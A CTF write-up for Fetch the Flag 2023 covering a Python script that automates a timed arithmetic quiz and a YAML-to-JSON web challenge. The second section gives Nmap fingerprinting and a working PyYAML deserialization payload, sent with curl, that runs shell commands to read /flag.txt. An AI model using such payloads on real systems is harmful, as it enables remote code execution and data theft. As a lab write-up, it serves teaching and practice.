Fetch the Flag CTF 2023
Here are my writeups for Fetch the Flag CTF 2023. The event took place from Fri, 27 Oct. 2023 09:00 Eastern Standard Time (EST) until Sat, 28 Oct. 2023 09:00 EST.
Fetch The Flag 2023 Quick Maths Writeup
This is a writeup for the Fetch The Flag 2023 Quick Maths
challenge.
Challenge notes
To try and get better grades in math, I made a program that gave me timed quizzes. Funny thing is that as I got better at the questions in this test, I got worse grades on my math tests.
NOTE: Float answers are rounded to 1 decimal points.
NOTE: And here’s another twist… the answers to division questions depend on integer division or double division. I.e., 3/5 = 0 3/5.0 = .6
Press the Start button in the top-right to begin this challenge. Connect with:
nc challenge.ctf.games 32237
Connecting to the challenge server
Using the command supplied in the challenge notes, I use nc
to connect to
the challenge server. The server prompts you to solve math challenges and times
you out when you don’t answer fast enough.
Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.
Note to self: Round all answers to 1 decimal point, where applicable.
Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 97.2 / 33.7?
Too Slow!!!
Good bye :(
I decided to use this as an opportunity to test out the nclib
library in Python. You can use nclib
to automate
interacting with telnet-like interfaces over the network.
The protocol
The challenge server writes 6 lines of text and asks the user to enter y
.
After that, the server prompts you to solve a long chain of arithmetic
questions.
Here is one more transcript from the server:
Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.
Note to self: Round all answers to 1 decimal point, where applicable.
Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 3 / 5?
What is 3 / 5.0?
Too Slow!!!
Good bye :(
As noted in the challenge notes, the server cares about integer and float division.
The solution script
I first define a few test cases in pytest
to make sure that I get the
integer versus float division right:
from calculator import calculate
def test_all() -> None:
assert calculate("What is 3 / 5?") == 0
assert calculate("What is 3 / 5.0?") == 0.6
assert calculate("What is 76.0 * 36.1?") == 2743.6
assert calculate("Correct!\nWhat is 76.0 * 36.1?") == 2743.6
This is the calculate
function in Python:
import re, operator
FORMULA_RE = re.compile(
r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
re.MULTILINE,
)
OPERATORS = {
"*": operator.mul,
"/": operator.truediv,
"+": operator.add,
"-": operator.sub,
}
def calculate(formula: str) -> Union[int, float]:
"""Evaluate a formula."""
match = FORMULA_RE.match(formula)
assert match is not None, f"Couldn't match {formula}"
left, op_chr, right = match.group(1, 2, 3)
floats = '.' in left or '.' in right
op = OPERATORS[op_chr]
if floats:
return round(op(float(left), float(right)), 1)
return int(op(int(left), int(right)))
The calculate
function performs the following tasks:
- Use a regular expression to parse the math formula from the server’s question.
- Pick the right operator from a dictionary called
OPERATORS
- Determine if the answer is expected to be a floating point number or integer.
- If a floating point number is required, run the calculation and return the result rounded to 1 decimal point
- If an integer is required, round the result and return it.
Here’s the full script that solved the challenge:
#!/usr/bin/env python3
import operator
import re
from typing import Union
import nclib
HOST = "challenge.ctf.games", 32237
FORMULA_RE = re.compile(
r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
re.MULTILINE,
)
OPERATORS = {
"*": operator.mul,
"/": operator.truediv,
"+": operator.add,
"-": operator.sub,
}
def calculate(formula: str) -> Union[int, float]:
"""Evaluate a formula."""
match = FORMULA_RE.match(formula)
assert match is not None, f"Couldn't match {formula}"
left, op_chr, right = match.group(1, 2, 3)
floats = '.' in left or '.' in right
op = OPERATORS[op_chr]
if floats:
return round(op(float(left), float(right)), 1)
return int(op(int(left), int(right)))
def main():
nc = nclib.Netcat(HOST)
print(nc.recv_until("(Y/n): ").decode())
nc.send_line("y")
print(nc.recv_until("Awesome, good luck!\n").decode())
while True:
line = nc.recv_until("? ").decode()
print("Next question:", line)
line = line.strip()
result = calculate(line)
print("Calculated the result:", result, "-- sending now")
nc.send_line(str(result))
if __name__ == "__main__":
main()
Fetch The Flag 2023 YSON Writeup
This is a writeup for the Fetch The Flag 2023 YSON challenge.
Challenge notes
Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!
Find the flag.txt file in the root of the filesystem.
Press the Start button on the top-right to begin this challenge. Connect with:
http://challenge.ctf.games:30944
Nmap
I use Nmap to fingerprint the HTTP server:
# We don't want to ping it, and just look at the challenge port
nmap \
-Pn \
-p30944 \
--script=+http-title.nse \
--script=+http-server-header.nse \
challenge.ctf.games
Nmap prints the following:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com
PORT STATE SERVICE
30944/tcp open unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.
The site
The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:
name: John Doe
age: 30
is_student: false
address:
street: 123 Elm St
city: Springfield
zip: 12345
skills:
- Python
- JavaScript
- SQL
YSON returns the following JSON response:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": ["Python", "JavaScript", "SQL"]
}
The following shows a curl
and jq
invocation to test the YSON API from
the command line:
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input@example_input.yaml" |
jq "., (.data | fromjson)"
This prints the following:
{
"data": "{\n \"name\": \"John Doe\",\n \"age\": 30,\n \"is_student\": false,\n \"address\": {\n \"street\": \"123 Elm St\",\n \"city\": \"Springfield\",\n \"zip\": 12345\n },\n \"skills\": [\n \"Python\",\n \"JavaScript\",\n \"SQL\"\n ]\n}",
"status": "success"
}
Here are the contents of the data
property, parsed as JSON:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": ["Python", "JavaScript", "SQL"]
}
Exploit
I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.
I test whether the YSON API is vulnerable with the following command:
set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
The YSON API returns a Python range()
object. This tells me that the API
is vulnerable. This YAML deserialization vulnerability lets me run
arbitrary external commands using subprocess.check_output
.
I proceed to print out the contents of /flag.txt
with
the following YAML payload:
set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
This prints out the following flag:
flag{6766066cea624a90b1ae5b47a4a320d9}